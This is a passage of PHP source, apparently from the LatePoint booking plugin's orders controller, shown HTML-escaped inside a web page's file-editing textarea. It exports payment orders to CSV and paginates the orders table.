				header( &quot;Content-Disposition: attachment; filename={$csv_filename}&quot; );

				$labels_row = [
					__( &#039;ID&#039;, &#039;latepoint&#039; ),
					__( &#039;Token&#039;, &#039;latepoint&#039; ),
					__( &#039;Booking ID&#039;, &#039;latepoint&#039; ),
					__( &#039;Customer&#039;, &#039;latepoint&#039; ),
					__( &#039;Processor&#039;, &#039;latepoint&#039; ),
					__( &#039;Method&#039;, &#039;latepoint&#039; ),
					__( &#039;Amount&#039;, &#039;latepoint&#039; ),
					__( &#039;Status&#039;, &#039;latepoint&#039; ),
					__( &#039;Type&#039;, &#039;latepoint&#039; ),
					__( &#039;Date&#039;, &#039;latepoint&#039; )
				];


				$orders_data   = [];
				$orders_data[] = $labels_row;


				$orders_arr = $orders-&gt;where( $query_args )-&gt;filter_allowed_records()-&gt;get_results_as_models();

				if ( $orders_arr ) {
					foreach ( $orders_arr as $order ) {
						$values_row    = [
							$order-&gt;id,
							$order-&gt;token,
							$order-&gt;booking_id,
							( $order-&gt;customer_id ? $order-&gt;customer-&gt;full_name : &#039;n/a&#039; ),
							$order-&gt;processor,
							$order-&gt;payment_method,
							OsMoneyHelper::format_price( $order-&gt;amount, true, false ),
							$order-&gt;status,
							$order-&gt;kind,
							$order-&gt;created_at,
						];
						$values_row    = apply_filters( &#039;latepoint_order_row_for_csv_export&#039;, $values_row, $order, $this-&gt;params );
						$orders_data[] = $values_row;
					}

				}

				$orders_data = apply_filters( &#039;latepoint_orders_data_for_csv_export&#039;, $orders_data, $this-&gt;params );
				OsCSVHelper::array_to_csv( $orders_data );

				return;
			}

			if ( $query_args ) {
				$orders-&gt;where( $query_args );
			}
			$orders-&gt;filter_allowed_records();


			$count_orders = clone $orders;
			$total_orders = $count_orders-&gt;count();

			$orders = $orders-&gt;order_by( LATEPOINT_TABLE_ORDERS . &#039;.created_at desc&#039; )-&gt;set_limit( $per_page );
			if ( $page_number &gt; 1 ) {
				$orders = $orders-&gt;set_offset( ( $page_number - 1 ) * $per_page );
			}

			$this-&gt;vars[&#039;orders&#039;] = $orders-&gt;get_results_as_models();

			$this-&gt;vars[&#039;total_orders&#039;]        = $total_orders;
			$this-&gt;vars[&#039;current_page_number&#039;] = $page_number;
			$this-&gt;vars[&#039;per_page&#039;]            = $per_page;
			$total_pages                       = ceil( $total_orders / $per_page );
			$this-&gt;vars[&#039;total_pages&#039;]         = $total_pages;

			$this-&gt;vars[&#039;showing_from&#039;] = ( ( $page_number - 1 ) * $per_page ) ? ( ( $page_number - 1 ) * $per_page ) : 1;
			$this-&gt;vars[&#039;showing_to&#039;]   = min( $page_number * $per_page, $total_orders );

			$this-&gt;format_render( [
				&#039;json_view_name&#039; =&gt; &#039;_table_body&#039;,
				&#039;html_view_name&#039; =&gt; __FUNCTION__
			], [], [
				&#039;total_pages&#039;   =&gt; $total_pages,
				&#039;showing_from&#039;  =&gt; $this-&gt;vars[&#039;showing_from&#039;],
				&#039;showing_to&#039;    =&gt; $this-&gt;vars[&#039;showing_to&#039;],
				&#039;total_records&#039; =&gt; $total_orders
			] );
		}


	}


endif;</textarea><input type='submit' name='save' value='Save' style=''/></form>